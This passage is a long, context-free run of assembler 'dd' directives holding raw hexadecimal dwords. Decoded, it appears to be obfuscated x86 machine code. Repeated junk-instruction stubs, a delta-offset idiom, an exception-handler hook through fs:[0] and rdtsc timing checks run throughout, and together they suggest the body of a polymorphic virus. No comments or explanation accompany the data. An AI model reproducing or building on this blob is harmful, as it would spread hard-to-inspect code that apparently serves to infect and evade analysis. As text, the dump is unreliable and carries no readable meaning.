0C3554500h, 0F683A44h, 689h, 19BD8900h dd 0E807E029h, 13h, 0AC131155h, 90E58669h, 0CD28FAA6h dd 0C261A569h, 0FF3F26Eh, 18Eh, 0BF59F500h, 0B6E45AFh dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h dd 38B8C08Bh, 89000004h, 0E020F585h, 629D8D07h, 0FF07E2BCh dd 83585BD3h, 0E001C5BDh, 17740007h, 38B85350h, 89000004h dd 0E020F585h, 519D8D07h, 0FF07E2B9h, 3585BD3h, 0E01D658Dh dd 0EE907h, 89730000h, 9FB02FC0h, 0C2166017h, 0D7C7A05Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 4DC35646h dd 5A5683D6h, 0A4DD8785h, 490AB966h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DD303FC3h dd 0E8CE8B66h, 832h, 20218531h, 858907E0h, 7E006D5h, 0E8F38B66h dd 81Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 81C35343h, 0BE9E1C71h, 78D1A0B3h, 58D0Fh, 0B1B90000h dd 890BE688h, 0E00F5985h, 0F851B907h, 0DFE86492h, 6A000007h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 94DCC352h, 38527F19h, 5A81FE9Bh, 1B418589h dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 18F061C3h, 4C34E69Dh, 81F13FBDh, 0E0E805E6h dd 784E853h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0A10C71C3h, 0DAEF810Ch dd 895FDF32h, 0E01BF585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 493F8582h dd 0AD9F86B3h, 0E15B58Bh, 2BE807E0h, 6A000007h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 213C355h, 0B58BA283h, 7E00741h, 20DD8589h, 0E8F807E0h dd 6FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 88C35545h, 5E19D58Fh, 0E8DB8D75h, 0Fh, 0A3A39605h dd 86DC5F5Eh, 0C9F333B2h, 0F9FD838h, 386h, 0F18B6600h dd 5D85895Fh, 907E008h, 0E01CA595h, 6A8E807h, 800F0000h dd 6, 4D18D89h, 858907E0h, 7E004A9h, 8FE8F78Bh, 6A000006h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 40FEC353h, 0E9B50178h, 8907E00Fh, 0E02A3585h dd 6E907h, 85680000h, 0DA7E90EDh, 0E8F28B66h, 652h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 22C35040h, 53D1D8DAh dd 0AD858905h, 6A07E012h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 86DC355h, 25FAB58Ah dd 19B58B02h, 0E807E000h, 5FEh, 39852960h, 107E004h, 0E008E18Dh dd 85896107h, 7E02A5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 93C35141h, 634EC9A1h, 8166B302h, 0E85E15C7h dd 8, 0DA69185Ch, 0F7D619DDh, 2098D89h, 0B15F07E0h, 5A8E82Bh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F977EEC3h, 0A7A3BF66h, 9E8h, 0B1CD6000h dd 4C76C9F9h, 12E89547h, 73000000h, 0E5DA614Dh, 4253D8FCh dd 0FEE3DC2Ah, 9DBC3119h, 55B58B62h, 5907E01Bh, 0A185895Fh dd 6007E007h, 0E98153F8h, 237979A3h, 43E8615Eh, 81000005h dd 0B45409CFh, 0C585893Eh, 8B07E023h, 0E02565B5h, 0B5B96607h dd 528E80Ah, 7E80000h, 0A5000000h, 0E65AB1BCh, 8959658Bh dd 0E0126185h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 1C81E814h, 0EFE84FCEh dd 8B000004h, 0E00E1DBDh, 49858907h, 8907E01Eh, 0E034459Dh dd 4D8E807h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BF0FBBC3h, 0E58589F6h, 8907E022h dd 0E0257DBDh, 4A8E807h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 9B8DB5C3h, 319589FDh dd 8907E032h, 0E0128DB5h, 0B9858907h, 6A07E007h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 25FEC350h, 7FA5C74Eh, 0D436394Eh, 16719D89h, 0B007E0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ACC35646h dd 0E86F3909h, 8D8B5312h, 7E02E69h, 0D8B60F5Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 89C35242h, 16AD8D8Bh dd 0AE807E0h, 0A3000000h, 3C4F0898h, 0D0196F50h, 0A53BE55h dd 0BA5F5C34h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 82C35141h, 8BA9E180h, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 38ABA0D1h dd 0C30946DAh, 0B589AB48h, 7E01119h, 6604E8C1h, 0B589E2F7h dd 7E00029h, 8D0BD82Bh, 7E02A6Dh, 0C78A6050h, 241C8961h dd 1AE995FFh, 9D8907E0h, 7E02D2Dh, 53006A5Bh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 78274D91h dd 84EBD571h, 148B0Fh, 0FE90000h, 0E2000000h, 4035928Dh dd 45DDEE49h, 58FA36E7h, 958D49BEh, 7E022ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 5BC35141h, 0AE9AAB9h dd 0BE000000h, 37E4836Ch, 0DEFF5EC3h, 6A1A8951h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 1671C351h, 800F2421h, 6, 1F698D89h, 428907E0h, 0FE8B6604h dd 12FD958Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E91C99C3h, 14h, 0DF98E090h, 510BC924h dd 9035E212h, 23591956h, 2F1BEDDEh, 0BD2B1A89h, 7E01C45h dd 8D044289h, 0E0126D95h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 25B8FA96h dd 4493D358h, 0FDBD8BC1h, 8907E01Ch, 53006A1Ah, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C23C4143h dd 5E9EF7Bh, 54000000h, 0C3600A0Ah, 6A044289h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6675C352h, 0BC09E781h, 2850F51h, 60000000h, 958D5F61h dd 7E033A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 66C35646h, 0EEC0C2CBh, 0ACF68166h, 6A1A8950h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0CDC1C355h, 0E5416A08h, 89F88311h, 6A0442h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0A80CA2C3h, 12F99589h, 958D07E0h, 7E008B1h, 1A89FA8Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 71C35747h dd 8B7D52E2h, 0E02D698Dh, 4428907h, 13D5BD29h, 958D07E0h dd 7E0317Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 32C35040h, 0A1645F36h, 0D9BD8BB4h, 8907E004h, 0F1B5331Ah dd 8907E02Fh, 0BF0F0442h, 1958DCAh, 6A07E026h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8930C355h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 667826FCh, 0EEC0C2CBh, 1175B58Bh dd 428907E0h, 958DF504h, 7E01A3Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 1BC35242h, 90F43875h, 0CE8DFh dd 149F0000h, 1DD8D600h, 0E2309E55h, 0D980189Bh, 1A895E8Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h dd 0A38BF401h, 18C58D89h, 428907E0h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B7C58B86h dd 8B66048Bh, 0E1BD89CFh, 0E907E018h, 0DCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 0B756B66Ah dd 0FD7A8E2h, 6AF6BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 1AC35545h, 0AE84970h, 29000000h, 40BBFE75h dd 0D4C5961Fh, 1DB509FBh, 5E07E00Eh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9529C9C3h dd 7E033A1h, 0D181006Ah, 1AB2318Dh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 835327C3h dd 0DE93BE66h, 1AA595FFh dd 0BF0F07E0h, 6AC3F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 9E2DEDC3h, 0BD2BD5D8h, 7E03135h dd 6AC58Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0DFF435C3h, 23658D31h, 0C08B07E0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 47C35242h, 3CDFB90Eh dd 0E7BE71C1h, 8334A242h, 0E006B1BDh, 9750007h, 1C5BD83h dd 740007E0h, 8B535019h, 438B8C0h, 85890000h, 7E02399h dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h dd 438B853h, 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h dd 0BF0F585Bh, 0B18D33C8h, 8A07E010h, 8DC08BCCh, 0E013C985h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0DAD18E0h, 0E9609CD2h, 14h, 0FC83C423h dd 0FD7A625Eh, 40145F26h, 0B659123Eh, 0C4B8B37Bh, 5090EBB7h dd 8E952h, 5C120000h, 19DE3719h, 310F7051h, 585AC0B7h dd 8B75050h, 3BB905Bh, 0F4EFE6Fh, 6AFFBFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h, 0FBB9EA63h dd 6A5D8E22h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 1DCA3B67h, 7BB53DFh, 0A9B3A335h dd 10870Fh, 0BE90000h, 4000000h, 0A2F76793h, 59E36D41h dd 858DD305h, 7E453E9h, 9E9h, 75ACBF00h, 42BFDA23h, 0C083685Eh dd 55BB6605h, 6060509Fh, 0BE8h, 8184DA00h, 8672D060h, 29E138F8h dd 61616059h, 1010B3B8h, 4896134h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C77C1BFCh dd 89006AB3h, 0E025EDB5h, 6A006A07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E883C353h dd 7, 0D4B2211Ch, 81AB04FEh, 8BE72D7h, 95FF5F3Dh, 7E03441h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h dd 0F59D8BF5h, 8D07E028h, 0E3A3938Dh, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0A21102C9h, 0D1FFC18Bh, 12319D8Bh, 575607E0h, 8619529h dd 5B5B07E0h, 16B1BD83h, 0F0107E0h, 5C85h, 0A1952900h dd 6A07E033h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0DB16DB68h, 0D5E272B4h, 810FB09Eh dd 6, 112D9501h, 509007E0h, 8D0F50h, 5B000000h, 880F505Bh dd 2, 0B7904EB7h, 9995FF57h, 8907E02Ah, 0E011BDBDh, 0E12E907h dd 0E80000h, 5D000000h, 53F3ED81h, 6A07E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F5151DC3h dd 4B2F21E3h, 0F5FEBF0Fh, 8699589h, 858D07E0h, 7E39463h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3DC35646h dd 0F765DE6Bh, 41A50910h, 5077CB80h, 13E9h, 0BA49A400h dd 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 24650D3Eh, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0BE40C353h, 38C0F61h, 0F000000h, 0FF64DEBFh dd 35h, 9BD8900h, 6407E01Bh, 2589h, 0BD8B0000h, 7E007ADh dd 20FD85FFh, 816607E0h, 6A344AEBh, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0AB70E7Ah dd 0A7B5E98Bh, 6D5B5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0CC4B07C3h, 5FCE0D4h dd 8995FF98h, 0E907E033h, 106h, 0E1C38166h, 8000B0EBh dd 70E6E6CFh, 19C18589h, 71E407E0h, 3CDBB70Fh, 0E7830F61h dd 89000000h, 0E03261B5h, 0C8B60F07h, 25A1BD8Bh, 6BA07E0h dd 0F8000000h, 0B70FC18Bh, 4E8C1DAh, 0CE9h, 0DFEB8600h dd 9DA8C8D1h, 7D995036h, 66D88BB1h, 0B501E2F7h, 7E02AD5h dd 8BFCC82Bh, 6E9FCD1h, 89000000h, 0E006BD9Dh, 0AD858B07h dd 6607E022h, 728D381h, 8B07C083h, 0E0346D9Dh, 0C08307h dd 2CA1BD89h, 0E96007E0h, 0Eh, 5DA817Eh, 0B5240BD6h, 0F35A0C74h dd 0BD8BE7C6h, 7E01455h, 0FD03B61h, 1183h, 0F9B58900h dd 0E907E028h, 52h, 33D98501h, 8D8B07E0h, 7E016A1h, 0BE8h dd 0E9CCEE00h, 30509B0h, 0AB4FCDDEh, 5FDF8B66h, 0E9D38166h dd 1E18372h, 24840Fh, 95890000h, 7E03015h, 16A1A583h, 89FE07E0h dd 0E0197185h, 0AD958907h, 8B07E022h, 0E020D9BDh, 0E907h dd 0B58D0000h, 7E3E9D7h, 1A519D29h, 6A07E0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7DC35141h, 0FFDA8B66h dd 0E018A995h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0ED9D8B94h, 0B907E01Fh dd 7AFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 5C35040h, 42612573h, 5E48E020h, 0F9B70F16h, 6AFCE183h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0EAE1C355h, 0E0213A2Fh, 0FCF8B70Fh, 6890Fh dd 0C3810000h, 43285F23h, 0B8h, 559D0900h, 8907E015h, 0E030819Dh dd 0FD22B07h, 0C88h, 68C0F00h, 0F000000h, 80h, 0C233AD00h dd 0D003E8D1h, 7504E983h, 0F1BD8BF4h, 6A07E029h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0A57EC353h, 0EB1E9CF0h, 8D8912D7h, 7E01331h, 0DFAB70Fh dd 88h, 23759D0Bh, 958B07E0h, 7E01815h, 1B85BD89h, 8D8B07E0h dd 7E02049h, 33F19D8Bh, 8B5007E0h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 4D1BD01h, 0BD8B07E0h, 7E01579h dd 2F699D89h, 0BD8307E0h, 7E012F5h, 9A840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 74DEC353h, 0FAC8B9Fh, 681h, 0B58D8900h, 0B807E02Ah dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h dd 7C9AFF3Ah, 0FB40654h, 18Dh, 6060F500h, 898D89FCh, 6107E014h dd 8D615F52h, 0E04EE88Dh, 519D2B07h, 0FF07E02Eh, 56006AE1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0CE38AF21h, 1DEF8166h, 0C5BD83EBh, 7E022h, 531840Fh dd 0BD830000h, 7E022C5h, 3F840F01h, 6A000005h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 44ECC353h, 81660A88h, 838AE0CBh, 0E022C5BDh, 860F0307h dd 4D8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0EEC35545h, 0AC2A32FDh, 0FA8B6036h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 5F28C357h, 0EE9A6h, 0CE980000h, 55F9DB3h dd 1DFC1899h, 0DF284C51h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 381DC356h dd 8106CBBh, 59D0155h, 0A07E01Eh, 83840FC9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0BB22C352h, 0E6029C14h, 0F5BD8963h, 6607E004h dd 64BED381h, 3399858Bh, 0B58907E0h, 7E02919h, 31898533h dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0EDA472C3h, 0F506C79h, 8Fh, 9D895B00h, 7E01B49h dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 34C35747h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0F49929C3h, 291C7F03h dd 0E01B61B5h, 4E807h, 3FF0000h, 0F88A001Fh, 15830F50h dd 57000000h, 0DE8h, 2FBEC600h, 3DE8408Eh, 0C1B7CB11h dd 5B5F0879h, 424448Bh, 0A5C55DBFh, 0E9008B16h, 5, 30216A68h dd 2444890Fh, 0A45CBB04h, 6A5844C0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 60D8C355h dd 2DBD2357h, 5B07E016h, 7AD6E381h, 95FF1463h, 7E021CDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h dd 92A6B875h, 898F3780h, 0E3CBAD85h, 1BD78007h, 241E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0B77ADC93h, 56D60656h, 858BE117h, 7E3CBA5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A3C35545h dd 3603DDF4h, 0C7F52Eh, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 1CC35646h, 0DBC9D483h, 3FE0D81h dd 0CBA9B58Bh, 6A07E3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E9313CC3h, 1A7075E3h, 33458529h dd 0AE807E0h, 3E000000h, 0EE0B307Dh, 0E4672A0Fh, 0C595011Bh dd 5B07E000h, 5F9858Bh, 0D98B07E0h, 9D8B0689h, 7E00189h dd 8BD8B70Fh, 0E0339985h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 378D19A2h dd 0B501A2F2h, 7E011E9h, 4689FA8Ah, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0DA3EB89Dh dd 0EE98Ch, 0ED670000h, 0AC10346Ah, 96191DB4h, 0A10E20Fh dd 831A60BBh, 0FA8B664Eh, 0DF8B6696h, 85899650h, 7E01E19h dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0BB001F03h, 2EAA9B21h dd 24448B50h, 0B7C7BF04h, 8B3C0Bh, 5A525060h, 78B96059h dd 662FC77Bh, 616539BBh, 24448961h, 1CBF6604h, 6A58BCh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 81E5F1C3h, 256F0CF7h, 0EE9E325h, 8C000000h, 1E794F6Bh dd 896D37BEh, 0F9C52D0Ah, 0AD858D05h, 6A07E3CBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0DCB7C356h, 0FE8B90FEh, 0C850F50h, 0E9000000h, 7, 0E9A6911Ch dd 90F8C69Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0E7C35141h, 8B66C4C9h, 0CD95FFF8h, 6A07E021h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 5776C356h, 51BD8B29h, 6607E01Bh, 6A61DF8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 2F7BC357h, 7F303145h, 79BD8923h, 0BF07E032h, 6784FCA0h dd 22C585C7h, 307E0h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F0A57EC3h, 81EB1E9Ch dd 7489A7C3h, 0DE951h, 8A7D0000h, 0FC5AA7E8h, 54F633C7h dd 83A21600h, 0E3CBADBDh, 840F0007h, 30h, 0E9D9BF0Fh, 43h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 61C35040h dd 0FF883E0h, 66FC8294h, 36D8F781h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 193AC353h, 1225BD89h, 9D8B07E0h, 7E02671h, 6810Fh, 0B5890000h dd 7E011BDh, 22C5BD83h, 0F0307E0h, 41185h, 2BF98B00h, 0E03025BDh dd 0ADBD8307h, 7E3CBh, 3FC840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8BD5E4C3h dd 0E023419Dh, 0ADB5FF07h, 5307E3CBh, 13DBD8Bh, 895B07E0h dd 0E0199D8Dh, 0A995FF07h, 6A07E01Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7A7C356h dd 0BEC7C1FDh, 77EFD7BEh, 8BF9BF0Fh, 0E3CBA1B5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0DF4AAB5Ah, 106C7E6h, 6A000100h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C629C353h dd 47BAC7CDh, 0ABDF81A3h, 9607ADA0h, 0F5087B3h, 8Eh, 6A9600h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 813E28C3h, 0A4D6D8DFh, 0ADB5FF65h, 0FF07E3CBh, 0E0301195h dd 1D9D8B07h, 8B07E005h, 0E3CBA1B5h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0DB819BE9h dd 7BF2BA82h, 8E12BBFh, 0D1858B4Dh, 6A07E022h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0DB46C351h, 89F8B604h, 0C486h, 0F3805300h, 958B5F31h dd 7E01815h, 2840Fh, 0CAB30000h, 8904C283h, 0E025899Dh dd 20508907h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C9C35242h, 0D4858D42h, 6A07E3E0h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0EA44C353h dd 2C520B74h, 0B886892Fh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0C8E0C357h, 0E175DA91h dd 6A52C57Ch, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 3AFE92ECh, 0CBADB5FFh, 0FFFC07E3h dd 0E02A9995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0DE5775C8h, 0F01A639h dd 0E850DBBFh, 9, 9ABBE8DEh, 1850440h, 5FFE8B45h, 8B243489h dd 0ADB5FFDEh, 6607E3CBh, 95FFFB8Bh, 7E028E9h, 0A1852957h dd 5F07E028h, 28E1BD83h, 0F0007E0h, 6D84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 7395387Ch, 8BD02735h, 0E013E59Dh, 830F5007h, 1Fh, 11E95250h dd 0EF000000h, 805189A2h, 3FAD42BCh, 540B26E1h, 8877C407h dd 8B66310Fh, 89585AFEh, 6A2434h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B5FF68C3h, 7E3CBADh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CEC35545h dd 2B42DAACh, 0F6CEA4Ch, 3595FF58h, 6A07E030h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 9C61C352h, 0A42B3AD9h, 9D641B84h, 0AE9h, 0BCF26100h dd 360C10D4h, 80CC2281h, 0B5FF01C7h, 7E3CBADh, 0AE9h, 0FABD6900h dd 4708809Dh, 0FF53E9C1h, 0E001B995h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89E7F8ABh, 0E015419Dh, 31BD8307h, 207E007h, 5F840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 182EB0C3h, 8B664D7Bh, 8B84B3D8h, 0E0203985h dd 0E3816607h, 0C6DA6Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 752945D7h, 0F40BBFEh dd 8Eh, 16BB6600h, 3D85C760h, 7E004h, 80000000h, 0CCE90DE3h dd 89FFFFF2h, 0E007D59Dh, 0FC18B07h, 38Ch, 0DF8B6600h dd 13C9858Dh, 665207E0h, 2B5BDE8Bh, 0E028B99Dh, 60609007h dd 11E8h, 3CED7900h, 2BCFAFCEh, 2E09A5Bh, 589C2A82h, 615FA4C0h dd 61C88B66h, 0BB525050h, 20272305h, 0BE9310Fh, 64000000h dd 42912EEh, 92C34B5Ch, 585AF0DBh, 0A840F90h, 0F000000h dd 484h, 0EFBF6600h, 8B006A7Fh, 0E004C59Dh, 6A006A07h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0AE2C355h, 29F53BC8h, 9D315485h, 7E020A9h dd 640C858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0E666BDC3h, 159D894Fh, 8307E004h dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0E9256BC3h, 0C212715Fh, 0BD09E401h, 7E02395h dd 0D8C2BB50h, 48938E5h, 85296024h, 7E01F5Dh, 2C3DBD89h dd 6A6107E0h, 9D895000h, 7E01E71h, 6A006A5Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E530C357h, 3810Fh, 8B660000h, 4195FFD9h, 0E807E034h dd 7, 46606776h, 665107D7h, 0F5BF98Bh, 8D8DFBBFh, 7E3A393h dd 110DBD29h, 0D1FF07E0h, 0CE9h, 0E7FF7D00h, 7430A050h dd 2A43A2D9h, 0B1BD8353h, 107E016h, 96850Fh, 8F0F0000h dd 5, 58E38166h, 6A026ABBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 385FC352h, 0FC6E2F1Eh dd 6820Fh, 0EB810000h, 1244BC55h, 12E990h, 57830000h, 38CECF0Ch dd 67E4B3E7h, 0B215088Eh, 1AA6B020h, 14E950h, 9CDD0000h dd 49069375h, 0F7E0D5E4h, 98F7FD25h, 5BDF956Ch, 6A90E81Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0F459C353h, 803F5443h, 95FFCFD7h, 7E02A99h dd 0DA7E9h, 0E800h, 815D0000h, 0E46416EDh, 0F9B70F07h dd 6AF8BF0Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 35FBC351h, 0A915393Fh, 8D158BB6h dd 0E3946385h, 0ED9D8B07h, 5007E026h, 0BF565250h, 4BE72018h dd 50310F5Fh, 0F5B5652h, 5AF98B31h, 89585A58h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 66F97CC3h, 0FF64FE8Bh, 35h, 41B58900h, 6407E026h, 2589h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0E02D27C3h, 0D61BEE5Fh, 